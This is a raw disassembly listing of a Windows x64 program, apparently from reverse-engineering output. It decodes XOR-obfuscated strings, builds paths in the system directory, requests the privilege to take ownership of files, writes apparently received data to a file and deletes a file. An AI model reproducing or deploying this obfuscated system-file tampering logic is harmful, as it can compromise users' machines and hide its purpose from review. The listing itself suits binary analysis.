movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov qword [rbp + 0x14c0], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x14d0], xmm0
lea rax, [rbp + 0x6560]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140063da0
lea rdx, [rbp + 0x6560]
lea rcx, [rbp + 0x14c0]
call fcn.14005a030
lea r8, [rbp + 0x14c0]
lea rdx, [rbp + 0x50a0]
lea rcx, [rbp + 0x14a40]
call fcn.1400bb910
mov rdx, rax
lea rcx, [0x1401ffae8]
call fcn.14000c100
lea rcx, [rbp + 0x50a0]
call fcn.14000b160
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x12da8]
call fcn.140009d20
mov rcx, rax
call fcn.140017bb0
call fcn.1400120d0
call fcn.140010ef0
call fcn.140050560
mov dword [0x14020078c], eax
movabs rax, 0xeb9ca38896e512b
mov qword [rbp + 0xa0], rax
movabs rax, 0x6efe4ae74eb86eac
mov qword [rbp + 0xa8], rax
xorps xmm2, xmm2
movabs rax, 0x7cdcb857e51e296e
mov qword [rbp + 0xc0], rax
movabs rax, 0x6efe4ae72bc00b82
mov qword [rbp + 0xc8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x5ca0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5cb0], xmm1
lea rcx, [rbp + 0x5bd0]
lea rax, [rbp + 0x5ca0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
mov qword [rbp + 0x1160], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1170], xmm0
lea rax, [rbp + 0x5bd0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140063f40
lea rdx, [rbp + 0x5bd0]
lea rcx, [rbp + 0x1160]
call fcn.14005a030
lea rcx, [rbp + 0x1160]
call fcn.140050140
mov dword [0x140200790], eax
lea rcx, [rbp + 0x1160]
call fcn.14000b160
movabs rax, 0x1148b2e988776468
mov qword [rbp + 0xa0], rax
movabs rcx, 0xb8e2c4df8ea3d20
mov qword [rbp + 0xa8], rcx
xorps xmm1, xmm1
movabs rax, 0x112dca8ca61a130c
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xa0]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x10c0], xmm0
movaps xmmword [rbp + 0x10d0], xmm2
movaps xmm0, xmmword [rbp + 0x860]
movaps xmmword [rbp + 0x10e0], xmm0
movaps xmm1, xmmword [rbp + 0x870]
movaps xmmword [rbp + 0x10f0], xmm1
movaps xmm0, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x1100], xmm0
movaps xmm1, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x1110], xmm1
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x1120], xmm0
movaps xmm1, xmmword [rbp + 0x8b0]
movaps xmmword [rbp + 0x1130], xmm1
mov qword [rbp + 0x11a0], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x11b0], xmm0
lea rax, [rbp + 0x10c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140064056
lea rdx, [rbp + 0x10c0]
lea rcx, [rbp + 0x11a0]
call fcn.14005a030
lea rcx, [rbp + 0x11a0]
call fcn.140050140
mov dword [0x140200794], eax
lea rcx, [rbp + 0x11a0]
call fcn.14000b160
lea rcx, [rbp + 0x3930]
call fcn.140052e50
movsd xmm0, qword [rax]
movsd qword [0x1402007a8], xmm0
mov eax, dword [rax + 8]
mov dword [0x1402007b0], eax
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
cmp dword [0x14020078c], 0
jne 0x140064c6a
mov edx, 0x100
lea rcx, [rbp + 0x14ed0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rbp + 0x148a8], r15
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x148b8], xmm0
lea rax, [rbp + 0x14ed0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140064100
lea rdx, [rbp + 0x14ed0]
lea rcx, [rbp + 0x148a8]
call fcn.14005a180
movabs rax, 0x127138b129d4c621
mov qword [rbp - 0x70], rax
movabs rax, 0x11a88320f12e8b4
mov qword [rbp - 0x68], rax
movabs rax, 0x21c8f8c3f3c8d0
mov qword [rbp - 0x60], rax
movabs rcx, 0xbf7f5469067e2f0
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x121038c729bcc67d
mov qword [rbp - 0x30], rax
movabs rax, 0x13488060f24e8cc
mov qword [rbp - 0x28], rax
movabs rax, 0x21c89dc38bc8b5
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x63e0], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x63f0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x6400], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x6410], xmm3
lea rax, [rbp + 0x6870]
lea rcx, [rbp + 0x63e0]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400641e0
lea rax, [rbp + 0x6870]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140064240
lea rdx, [rbp + 0x6870]
lea rcx, [rbp + 0x148a8]
call fcn.140059fa0
mov qword [rbp + 0x148d0], r15
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x148e0], xmm0
lea rax, [rbp + 0x14ed0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140064283
lea rdx, [rbp + 0x14ed0]
lea rcx, [rbp + 0x148d0]
call fcn.14005a180
movabs rax, 0xc9555bd24878af
mov qword [rbp - 0x70], rax
movabs rax, 0x169586ec9cb65d1f
mov qword [rbp - 0x68], rax
movabs rax, 0x1c789f24a577c3b1
mov qword [rbp - 0x60], rax
movabs rax, 0xc40709a323d8902
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0xa8552dd22078f3
mov qword [rbp - 0x30], rax
movabs rax, 0x16ca86d89c805d67
mov qword [rbp - 0x28], rax
movabs rax, 0x1c569f40a51bc3de
mov qword [rbp - 0x20], rax
movabs rax, 0xc4070ff32458967
mov qword [rbp - 0x18], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x6650], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x6660], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x6670], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x6680], xmm3
lea rax, [rbp + 0x53c0]
lea rcx, [rbp + 0x6650]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140064370
lea rax, [rbp + 0x53c0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400643d0
lea rdx, [rbp + 0x53c0]
lea rcx, [rbp + 0x148d0]
call fcn.140059fa0
lea rcx, [rbp + 0x148a8]
call fcn.14004ff40
test al, al
jne 0x1400645ea
lea rdx, [rbp + 0x148a8]
cmp qword [rbp + 0x148c0], 8
cmovae rdx, qword [rbp + 0x148a8]
lea rcx, [rbp + 0x148d0]
cmp qword [rbp + 0x148e8], 8
cmovae rcx, qword [rbp + 0x148d0]
call fcn.140050200
movabs rax, 0x16829620a9
mov qword [rbp + 0x10], rax
movabs rcx, 0x2926b2d26a5
mov qword [rbp + 0x18], rcx
movabs rax, 0x1682d174eb
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x3e00], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3e10], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3e20], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3e30], xmm0
movabs rax, 0x9c0e41439b9239c
mov qword [rbp - 0x70], rax
movabs rax, 0x193df610f24cbda
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], 0x1d36af
mov qword [rbp - 0x58], 0xfffffffff79975ae
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6c87c46656cb51d9
mov qword [rbp - 0x30], rax
movabs rax, 0x68d5ff254265ebae
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], 0x1d53c3
mov qword [rbp - 0x18], 0xfffffffff79975ae
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x56b0], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x56c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x56d0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x56e0], xmm5
lea rax, [rbp + 0xe340]
lea rcx, [rbp + 0x56b0]
mov edx, 2
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140064550
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r9d, [rdx + 0x10]
lea r8, [rbp + 0x3e00]
lea rdx, [rbp + 0xe340]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140064c52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rsi, [rbp + 0x148a8]
cmp qword [rbp + 0x148c0], 8
cmovae rsi, qword [rbp + 0x148a8]
mov rbx, r15
mov qword [rbp + 0x80], rbx
lea rdx, [rbp + 0x14960]
mov rcx, rsi
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov r14d, eax
test eax, eax
je 0x1400646a7
mov ecx, r14d
call fcn.1401080e0
mov rdi, rax
mov r9, rax
mov r8d, r14d
xor edx, edx
mov rcx, rsi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x140064685
lea rcx, [rdi + 6]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, 3
lea rcx, [rdi + rcx*2]
sub rcx, rdi
add rcx, 3
and rcx, 0xfffffffffffffffc
movzx esi, word [rcx + rdi + 0xc]
mov dword [rbp + 0x80], esi
movzx eax, word [rcx + rdi + 0x14]
mov dword [rbp + 0x84], eax
mov rbx, qword [rbp + 0x80]
jmp 0x14006468b
mov esi, dword [rbp + 0x80]
mov rcx, rdi
call fcn.1401080d8
cmp esi, 0x587
jne 0x1400646a7
shr rbx, 0x20
cmp ebx, esi
je 0x140064c48
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140056f30
test eax, eax
jne 0x14006485e
movabs rax, 0x1a6fa3391f
mov qword [rbp + 0x10], rax
movabs rcx, 0x294395580c9
mov qword [rbp + 0x18], rcx
movabs rax, 0x1a6fe46d5d
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x3dc0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3dd0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3de0], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3df0], xmm0
movabs rax, 0x17ea209cf129d33a
mov qword [rbp - 0x70], rax
movabs rax, 0x10a237148aa7eabb
mov qword [rbp - 0x68], rax
movabs rax, 0x1ff51d9017c393a9
mov qword [rbp - 0x60], rax
movabs rcx, 0x62dbca16d12f17a3
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x5aab00ee9e5ba17f
mov qword [rbp - 0x30], rax
movabs rax, 0x40825278e3e1caff
mov qword [rbp - 0x28], rax
movabs rax, 0x7a9278fc7eb5fadb
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x5a40], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5a50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x5a60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x5a70], xmm3
lea rax, [rbp + 0xebb0]
lea rcx, [rbp + 0x5a40]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400647e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r9d, [rdx + 0x10]
lea r8, [rbp + 0x3dc0]
lea rdx, [rbp + 0xebb0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdx, [rbp + 0x148d0]
cmp qword [rbp + 0x148e8], 8
cmovae rdx, qword [rbp + 0x148d0]
lea rcx, [rbp + 0x148a8]
cmp qword [rbp + 0x148c0], 8
cmovae rcx, qword [rbp + 0x148a8]
call fcn.140050200
test eax, eax
jne 0x140064a24
movabs rax, 0x1873a94c99
mov qword [rbp + 0x10], rax
movabs rcx, 0x2946523545d
mov qword [rbp + 0x18], rcx
movabs rax, 0x1873ee18db
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x3d80], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3d90], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3da0], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3db0], xmm0
movabs rax, 0x1d3c998b5517d4e
mov qword [rbp + 0xa0], rax
movabs rax, 0x5b37cf26e7d64fb2
mov qword [rbp + 0xa8], rax
xorps xmm2, xmm2
movabs rax, 0x4c92e9eada230f0b
mov qword [rbp + 0xc0], rax
movabs rax, 0x5b37aa4a8e906ff6
mov qword [rbp + 0xc8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x5170], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5180], xmm1
lea rcx, [rbp + 0xb9f0]
lea rax, [rbp + 0x5170]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x3d80]
lea rdx, [rbp + 0xb9f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140064c48
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14908], xmm0
mov qword [rbp + 0x14918], rax
movabs rax, 0x14ae62210d32388b
mov qword [rbp + 0x10], rax
movabs rcx, 0x1bab50777ae6719d
mov qword [rbp + 0x18], rcx
movabs rax, 0x14ae56133c040dbc
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x770], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x780], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x790], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x7a0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x7b0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x7c0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x7d0], xmm1
mov qword [rbp + 0x1450], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1460], xmm0
lea rax, [rbp + 0x770]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140064af0
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x1450]
call fcn.14005a030
lea r8, [rbp + 0x1450]
lea rdx, [rbp + 0x14908]
lea rcx, [rbp + 0x14a40]
call fcn.1400b79b0
mov rax, qword [rbp + 0x14910]
cmp qword [rbp + 0x14908], rax
je 0x140064c3c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x14640]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x148a8]
cmp qword [rbp + 0x148c0], 8
cmovae rdx, qword [rbp + 0x148a8]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x14640]
call fcn.140008e80
mov rax, qword [rbp + 0x14640]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x14640], r13
mov rax, qword [rbp + 0x14640]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1463c], edx
mov r8, qword [rbp + 0x14910]
mov rdx, qword [rbp + 0x14908]
sub r8, rdx
lea rcx, [rbp + 0x14640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp + 0x14640]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x14640]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x140064bf8
lea rcx, [rbp + 0x14640]
call fcn.14005a530
lea rdx, [rbp + 0x148d0]
lea rcx, [rbp + 0x5800]
call fcn.140009380
mov rcx, rax
call fcn.1400108c0
lea rcx, [rbp + 0x148d0]
cmp qword [rbp + 0x148e8], 8
cmovae rcx, qword [rbp + 0x148d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x14640]
call fcn.14000c7d0
lea rcx, [rbp + 0x14908]
call fcn.14000b550
movabs rsi, 0x1fffffffe0000000
lea rcx, [rbp + 0x148d0]
call fcn.140059be0
lea rcx, [rbp + 0x148a8]
call fcn.140059be0
mov edx, 0x100
lea rcx, [rbp + 0x150d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rbp + 0x14888], r15
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x14898], xmm0
lea rax, [rbp + 0x150d0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140064ca1
lea rdx, [rbp + 0x150d0]
lea rcx, [rbp + 0x14888]
call fcn.14005a180
movabs rax, 0x89999b1f6a60c47
mov qword [rbp - 0x70], rax
movabs rax, 0xcdac0303866e4e
mov qword [rbp - 0x68], rax
movabs rax, 0x19aaaa4eba6db623
mov qword [rbp - 0x60], rax
movabs rcx, 0xacf16652174047e
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x8f799d8f6d10c1b
mov qword [rbp - 0x30], rax
movabs rax, 0xa9ac6203e96e22
mov qword [rbp - 0x28], rax
movabs rax, 0x19c3aa28ba08b60d
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5d70], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5d80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x5d90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x5da0], xmm3
lea rax, [rbp + 0x6e00]
lea rcx, [rbp + 0x5d70]
mov edx, 3
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140064d80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x6e00]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140064df0
lea rdx, [rbp + 0x6e00]
lea rcx, [rbp + 0x14888]
call fcn.140059fa0
mov qword [rbp + 0x14868], r15
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x14878], xmm0
lea rax, [rbp + 0x150d0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140064e33
lea rdx, [rbp + 0x150d0]
lea rcx, [rbp + 0x14868]
call fcn.14005a180
movabs rax, 0x9729bf4fb59856f
mov qword [rbp + 0xf0], rax
movabs rax, 0xea2d9e4761613b
mov qword [rbp + 0xf8], rax
movabs rax, 0xe6d57407288c0bd
mov qword [rbp + 0x100], rax
movabs rax, 0x45be8401dd2a623
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], rsi
movabs rcx, 0xe000000020030c6b
mov qword [rbp + 0x118], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
movabs rax, 0x91c9b9dfb2e8533
mov qword [rbp + 0x150], rax
movabs rax, 0x8e2dff470e6157
mov qword [rbp + 0x158], rax
movabs rax, 0xe09572c72e7c0e2
mov qword [rbp + 0x160], rax
